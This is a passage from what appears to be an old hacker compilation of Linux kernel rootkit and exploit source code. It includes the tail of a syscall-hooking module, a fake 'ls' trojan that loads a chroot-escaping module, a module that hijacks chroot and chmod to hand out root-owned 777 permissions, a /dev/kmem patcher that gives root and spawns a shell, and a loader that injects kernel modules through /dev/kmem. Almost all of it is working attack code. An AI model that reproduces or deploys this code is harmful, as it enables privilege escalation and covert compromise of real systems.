6999 printk("AFHRM_INIT: %d of %d redirections loaded. Init OK.\n",x,REDIRS);
7001 restore_flags(flags);
7006 // Module shutdown...
7007 void cleanup_module(void) {
7008 unsigned long flags;
7010 cli(); // To satisfy kgb ;-)
7012 printk("AFHRM_INIT: Version " VERSION " shutting down.\n");
7014 sys_call_table[__NR_open]=stary_open;
7015 sys_call_table[__NR_getdents]=stary_getdents;
7016 sys_call_table[__NR_link]=stary_link;
7017 sys_call_table[__NR_unlink]=stary_unlink;
7018 sys_call_table[__NR_rename]=stary_rename;
7020 printk("AFHRM_INIT: Hits: open %d, getdents %d, link %d, unlink %d, rename %d. Shutdown OK.\n",
7021 ohits,ghits,lhits,uhits,rhits);
7023 restore_flags(flags);
7027 <H3><A NAME="A-f"></a>CHROOT module trick</h3>
7029 <b>NAME</b> : chr.c<br>
7030 <b>AUTHOR</b> : FLoW/HISPAHACK<br>
7031 <b>DESCRIPTION</b> : The first source represents the ls 'trojan'. The second one
7032 represents the actual module which is doing the chroot trick.<br>
7033 <b>LINK</b> : <A HREF="http://hispahack.ccc.de">http://hispahack.ccc.de</a><br>
7038 /* Sustituto para el "ls" de un ftp restringido.
7039 * Carga el modulo del kernel chr.o
7044 #include <sys/wait.h>
7050 printf("UID: %i EUID: %i\n",getuid(),geteuid());
7051 printf("Cambiando EUID...\n");
7053 setuid(0); /* Ya que wu-ftpd usa seteuid(), podemos recuperar uid=0 */
7055 printf("UID: %i EUID: %i\n",getuid(),geteuid());
7059 case -1: printf("Error creando hijo.\n");
7060 case 0: execlp("/bin/insmod","insmod","/bin/chr.o",0);
7061 printf("Error ejecutando insmod.\n");
7063 default: printf("Cargando modulo chroot...\n");
7065 if(WIFEXITED(estado)!=0 && WEXITSTATUS(estado)==0)
7066 printf("Modulo cargado!\n");
7068 printf("Error cargando modulo.\n");
7075 /* Modulo del kernel para anular un chroot() y "retocar" chmod()
7077 * Basado en heroin.c de Runar Jensen <zarq@opaque.org>
7080 #include <linux/fs.h>
7081 #include <linux/module.h>
7082 #include <linux/malloc.h>
7083 #include <linux/unistd.h>
7084 #include <sys/syscall.h>
7086 #include <linux/dirent.h>
7087 #include <linux/proc_fs.h>
7091 static inline _syscall2(int, chmod, const char*, path, mode_t, mode);
7092 static inline _syscall1(int, setuid, uid_t, uid);
7094 extern void *sys_call_table[];
7096 int (*original_chroot)(const char *, const char*);
7097 int (*original_chmod)(const char *, mode_t);
7098 int (*original_setuid)(uid_t);
7100 int hacked_chmod(const char *path, mode_t mode)
7104 if(mode==83) { /* chmod 123 XXX */
7105 (*original_setuid)(0);
7106 err=(*original_chmod)(path, 511); /* chmod 777 XXX */
7110 err=(*original_chmod)(path, mode);
7116 int hacked_chroot(const char *path, const char *cmd)
7121 int init_module(void)
7123 original_setuid = sys_call_table[SYS_setuid];
7124 original_chroot = sys_call_table[SYS_chroot];
7125 sys_call_table[SYS_chroot] = hacked_chroot;
7126 original_chmod = sys_call_table[SYS_chmod];
7127 sys_call_table[SYS_chmod] = hacked_chmod;
7131 void cleanup_module(void)
7133 sys_call_table[SYS_chroot] = original_chroot;
7134 sys_call_table[SYS_chmod] = original_chmod;
7139 <H3><A NAME="A-g"></a>Kernel Memory Patching</h3>
7141 <b>NAME</b> : kmemthief.c<br>
7142 <b>AUTHOR</b> : unknown (I really tried to find out, but I found no comments)
7143 I found a similar source by daemon9 who took it from 'Unix
7144 Security: A practical tutorial'<br>
7145 <b>DESCRIPTION</b> : This is a 'standard' kmem patcher, which gives you root (your
7146 user process). The system you try to exploit must permit write
7147 and read access to /dev/kmem. There are some systems that make
7148 that fault but don't rely on that.<br>
7149 <b>LINK</b> : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
7157 cc -O kmem_thief.c -ld -o kmem_thief
7161 #include <sys/signal.h>
7162 #include <sys/param.h>
7163 #include <sys/types.h>
7164 #include <sys/dir.h>
7165 #include <sys/user.h>
7167 struct user userpage;
7168 long address(), userlocation;
7170 int main(argc, argv, envp)
7172 char *argv[], *envp[];
7175 long where, lseek();
7176 fd = open( "/dev/kmem",O_RDWR);
7179 printf("Could not open /dev/kmem.\n");
7183 userlocation = address();
7184 where = lseek(fd, userlocation, 0);
7185 if(where != userlocation)
7187 printf("Could not seek to user page.\n");
7191 count = read(fd, &userpage, sizeof(struct user));
7192 if(count != sizeof(struct user))
7194 printf("Could not read user page.\n");
7198 printf(" Current uid is %d\n", userpage.u_ruid);
7199 printf(" Current gid is %d\n", userpage.u_rgid);
7200 printf(" Current euid is %d\n", userpage.u_uid);
7201 printf(" Current egid is %d\n", userpage.u_gid);
7202 userpage.u_ruid = 0;
7203 userpage.u_rgid = 0;
7206 where = lseek(fd, userlocation, 0);
7207 if(where != userlocation)
7209 printf("Could not seek to user page.\n");
7213 write(fd, &userpage, ((char *)&(userpage.u_procp)) - ((char *)&userpage));
7214 execle("/bin/csh", "/bin/csh", "-i", (char *)0, envp);
7217 # include <filehdr.h>
7221 # define LNULL ( (LDFILE *)0 )
7228 object = ldopen( "/unix", LNULL );
7229 if( object == LNULL ) {
7230 fprintf( stderr, "Could not open /unix.\n" );
7233 for ( idx=0; ldtbread( object, idx, &symbol) == SUCCESS; idx++ ) {
7234 if( ! strcmp( "_u", ldgetname( object, &symbol ) ) ) {
7235 fprintf( stdout, "user page is at: 0x%8.8x\n", symbol.n_value );
7237 return( symbol.n_value );
7240 fprintf( stderr, "Could not read symbols in /unix.\n");
7246 <H3><A NAME="A-h"></a>Module insertion without native support</h3>
7248 <b>NAME</b> : kinsmod.c<br>
7249 <b>AUTHOR</b> : <A HREF="mailto:silvio@big.net.au">Silvio Cesare</a><br>
7250 <b>DESCRIPTION</b> : This is a very nice program which allows us to insert LKMs
7251 on system with no native module support.<br>
7252 <b>LINK</b> : found it by a search on <A HREF="http://www.antisearch.com">http://www.antisearch.com</a><br>
7257 /**********needed include file*/
7261 #include <linux/module.h>
7266 these functions are anologous to standard file routines.
7269 #define kopen(mode) open("/dev/kmem", (mode))
7270 #define kclose(kd) close((kd))
7272 ssize_t kread(int kd, int pos, void *buf, size_t size);
7273 ssize_t kwrite(int kd, int pos, void *buf, size_t size);
7276 ksyms initialization and cleanup
7279 int ksyms_init(const char *map);
7280 void ksyms_cleanup(void);
7283 print the ksym table
7286 void ksyms_print(void);
7289 return the ksym of name 'name' or NULL if no symbol exists
7292 struct kernel_sym *ksyms_find(const char *name);
7297 /**********KMEM functions*/
7305 #include <linux/module.h>
7306 #include <linux/unistd.h>
7310 struct ksymlist* next;
7311 struct kernel_sym ksym;
7314 struct ksymlisthead {
7315 struct ksymlist* next;
7319 the hash size must be an integral power of two
7322 #define KSYM_HASH_SIZE 512
7324 struct ksymlisthead ksymhash[KSYM_HASH_SIZE];
7327 these functions are anologous to standard file routines.
7330 ssize_t kread(int kd, int pos, void *buf, size_t size)
7334 retval = lseek(kd, pos, SEEK_SET);
7335 if (retval != pos) return retval;
7337 return read(kd, buf, size);
7340 ssize_t kwrite(int kd, int pos, void *buf, size_t size)
7344 retval = lseek(kd, pos, SEEK_SET);
7345 if (retval != pos) return retval;
7347 return write(kd, buf, size);
7350 void ksyms_print(void)
7354 for (i = 0; i < KSYM_HASH_SIZE; i++) {
7355 struct ksymlist *head = (struct ksymlist *)&ksymhash[i];
7356 struct ksymlist *current = ksymhash[i].next;
7358 while (current != head) {
7360 "name: %s addr: %lx\n",
7364 current = current->next;
7369 void ksyms_cleanup(void)
7373 for (i = 0; i < KSYM_HASH_SIZE; i++) {
7374 struct ksymlist *head = (struct ksymlist *)&ksymhash[i];
7375 struct ksymlist *current = head->next;
7377 while (current != head) {
7378 struct ksymlist *next = current->next;
7386 int hash(const char *name)
7391 for (h = 0, p = name; *p; h += (unsigned char)*p, p++);
7393 return h & (KSYM_HASH_SIZE - 1);
7396 int ksyminsert(struct kernel_sym *ksym)
7398 struct ksymlist *node;
7399 struct ksymlisthead *head;
7401 node = (struct ksymlist *)malloc(sizeof(struct ksymlist));
7402 if (node == NULL) return -1;
7404 head = &ksymhash[hash(ksym->name)];
7406 memcpy(&node->ksym, ksym, sizeof(*ksym));
7408 node->next = (struct ksymlist *)head->next;
7414 int ksyms_init(const char *map)
7420 for (i = 0; i < KSYM_HASH_SIZE; i++)
7421 ksymhash[i].next = (struct ksymlist *)&ksymhash[i];
7423 f = fopen(map, "r");
7424 if (f == NULL) return -1;
7426 while (fgets(s, sizeof(s), f) != NULL) {
7427 struct kernel_sym ksym;
7430 ksym.value = strtoul(s, &n, 16);
7431 if (n == s || *n == 0) goto error;
7434 while (*p && isspace(*p)) ++p;
7435 if (*p == 0 || p[1] == 0 || p[2] == 0) goto error;
7439 while (*p && !isspace(*p)) ++p;
7442 strncpy(ksym.name, n, 60);
7444 if (ksyminsert(&ksym) < 0) goto error;
7453 printf("--> %s\n", s);
7457 struct kernel_sym *ksyms_find(const char *name)
7459 struct ksymlist *head = (struct ksymlist *)&ksymhash[hash(name)];
7460 struct ksymlist *current = head->next;
7462 while (current != head) {
7463 if (!strncmp(current->ksym.name, name, 60))
7464 return ¤t->ksym;
7466 current = current->next;
7474 /**********MAIN PROGRAM : kinsmod.c*/
7484 static char system_map[] = "System.kmap";
7485 static int error = 0;
7487 static int force = 0;
7492 unsigned long maddr;
7499 Elf32_Sym *local_sym_find(
7500 Elf32_Sym *symtab, int n, char *strtab, const char *name
7505 for (i = 0; i < n; i++) {
7506 if (!strcmp(&strtab[symtab[i].st_name], name))
7513 Elf32_Sym *localall_sym_find(struct _module *module, const char *name)
7515 char *strtab = module->section[module->strtabidx];
7518 for (i = 0; i < module->ehdr.e_shnum; i++) {
7519 Elf32_Shdr *shdr = &module->shdr[i];
7521 if (shdr->sh_type == SHT_SYMTAB) {
7524 sym = local_sym_find(
7525 (Elf32_Sym *)module->section[i],
7526 shdr->sh_size/sizeof(Elf32_Sym),
7530 if (sym != NULL) return sym;
7537 void check_module(struct _module *module, int fd)
7539 Elf32_Ehdr *ehdr = &module->ehdr;
7541 if (read(fd, ehdr, sizeof(*ehdr)) != sizeof(*ehdr)) {
7548 if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) {
7549 fprintf(stderr, "File not ELF\n");
7553 if (ehdr->e_type != ET_REL) {
7554 fprintf(stderr, "ELF type not ET_REL\n");
7558 if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) {
7559 fprintf(stderr, "ELF machine type not EM_386 or EM_486\n");
7563 if (ehdr->e_version != EV_CURRENT) {
7564 fprintf(stderr, "ELF version not current\n");
7569 void load_section(char **p, int fd, Elf32_Shdr *shdr)
7571 if (lseek(fd, shdr->sh_offset, SEEK_SET) < 0) {
7576 *p = (char *)malloc(shdr->sh_size);
7582 if (read(fd, *p, shdr->sh_size) != shdr->sh_size) {
7588 void load_module(struct _module *module, int fd)
7596 check_module(module, fd);
7598 ehdr = &module->ehdr;
7599 slen = sizeof(Elf32_Shdr)*ehdr->e_shnum;
7601 module->shdr = (Elf32_Shdr *)malloc(slen);
7602 if (module->shdr == NULL) {
7607 module->section = (char **)malloc(sizeof(char **)*ehdr->e_shnum);
7608 if (module->section == NULL) {
7613 if (lseek(fd, ehdr->e_shoff, SEEK_SET) < 0) {
7618 if (read(fd, module->shdr, slen) != slen) {
7624 i = 0, sectionp = module->section, shdr = module->shdr;
7628 switch (shdr->sh_type) {
7635 load_section(sectionp, fd, shdr);
7636 if (i != ehdr->e_shstrndx)
7637 module->strtabidx = i;
7643 load_section(sectionp, fd, shdr);
7649 "No handler for section (type): %i\n",
7659 void relocate(struct _module *module, Elf32_Rel *rel, Elf32_Shdr *shdr)
7661 Elf32_Sym *symtab = (Elf32_Sym *)module->section[shdr->sh_link];
7662 Elf32_Sym *sym = &symtab[ELF32_R_SYM(rel->r_info)];
7664 Elf32_Shdr *targshdr = &module->shdr[shdr->sh_info];
7665 Elf32_Addr dot = targshdr->sh_addr + rel->r_offset;
7666 Elf32_Addr *loc = (Elf32_Addr *)(
7667 module->section[shdr->sh_info] + rel->r_offset
7669 char *name = &module->section[module->strtabidx][sym->st_name];
7671 if (ELF32_ST_BIND(sym->st_info) != STB_LOCAL) {
7672 struct kernel_sym *ksym;
7679 if (len > 10 && !strncmp(name + len - 10, "_R", 2)) {
7680 strncpy(novname, name, len - 10);
7681 novname[len - 10] = 0;
7682 ksym = ksyms_find(novname);
7684 ksym = ksyms_find(name);
7686 ksym = ksyms_find(name);
7692 "Extern symbol is (%s:%lx)\n",
7701 sym->st_shndx == 0 ||
7702 sym->st_shndx > module->ehdr.e_shnum
7706 "ERROR: undefined symbol (%s)\n", name
7713 addr = sym->st_value + module->shdr[sym->st_shndx].sh_addr;
7716 printf("Symbol (%s:%lx) is local\n", name, (unsigned long)addr);
7720 if (targshdr->sh_type == SHT_SYMTAB) return;
7721 if (targshdr->sh_type != SHT_PROGBITS) {
7724 "Rel not PROGBITS or SYMTAB (type: %i)\n",
7730 switch (ELF32_R_TYPE(rel->r_info)) {
7736 *loc -= dot; /* *loc += addr - dot */
7744 stderr, "No handler for Relocation (type): %i",
7745 ELF32_R_TYPE(rel->r_info)
7751 void relocate_module(struct _module *module)
7755 for (i = 0; i < module->ehdr.e_shnum; i++) {
7756 if (module->shdr[i].sh_type == SHT_REL) {
7758 Elf32_Rel *relp = (Elf32_Rel *)module->section[i];
7762 j < module->shdr[i].sh_size/sizeof(Elf32_Rel);
7777 void print_symaddr(struct _module *module, const char *symbol)
7781 sym = localall_sym_find(module, symbol);
7783 fprintf(stderr, "No symbol (%s)\n", symbol);
7791 (unsigned long)module->shdr[sym->st_shndx].sh_addr
7796 void init_module(struct _module *module, unsigned long maddr)
7799 unsigned long len = 0;
7801 module->maddr = maddr;
7803 for (i = 0; i < module->ehdr.e_shnum; i++) {
7804 if (module->shdr[i].sh_type != SHT_PROGBITS) continue;
7806 module->shdr[i].sh_addr = len + maddr;
7807 len += module->shdr[i].sh_size;
7812 if (module->maxlen > 0 && module->len > module->maxlen) {
7815 "Module too large: (modsz: %i)\n",
7821 printf("Module length: %i\n", module->len);
7823 relocate_module(module);
7825 print_symaddr(module, "init_module");
7826 print_symaddr(module, "cleanup_module");
7829 void do_module(struct _module *module, int fd)
7835 for (i = 0; i < module->ehdr.e_shnum; i++) {
7836 if (module->shdr[i].sh_type != SHT_PROGBITS) continue;
7838 if (lseek(fd, module->shdr[i].sh_offset, SEEK_SET) < 0) {
7845 fd, module->section[i], module->shdr[i].sh_size
7846 ) != module->shdr[i].sh_size
7854 kd = open("/dev/kmem", O_RDWR);
7860 if (lseek(kd, module->maddr, SEEK_SET) < 0) {
7865 for (i = 0; i < module->ehdr.e_shnum; i++) {
7866 if (module->shdr[i].sh_type != SHT_PROGBITS) continue;
7870 kd, module->section[i], module->shdr[i].sh_size
7871 ) != module->shdr[i].sh_size
7882 int main(int argc, char *argv[])
7884 char *map = system_map;
7885 struct _module module;
7890 while ((ch = getopt(argc, argv, "m:tf")) != EOF) {
7907 so we can move options in and out without changing the codes idea
7908 of what argv and argc look like.
7916 if (argc != 3 && argc != 4) {
7919 "usage: k module [-t] [-m map] maddr(hex) [maxlen]\n"
7925 fd = open(argv[1], O_RDWR);
7927 fd = open(argv[1], O_RDONLY);
7934 if (ksyms_init(map) < 0) {
7935 perror("ksyms_init");
7939 module.maxlen = (argc == 4 ? atoi(argv[3]) : -1);
7940 load_module(&module, fd);
7941 init_module(&module, strtoul(argv[2], NULL, 16));
7944 do_module(&module, fd);
7948 "FAILED: (%i) errors. Exiting...\n", error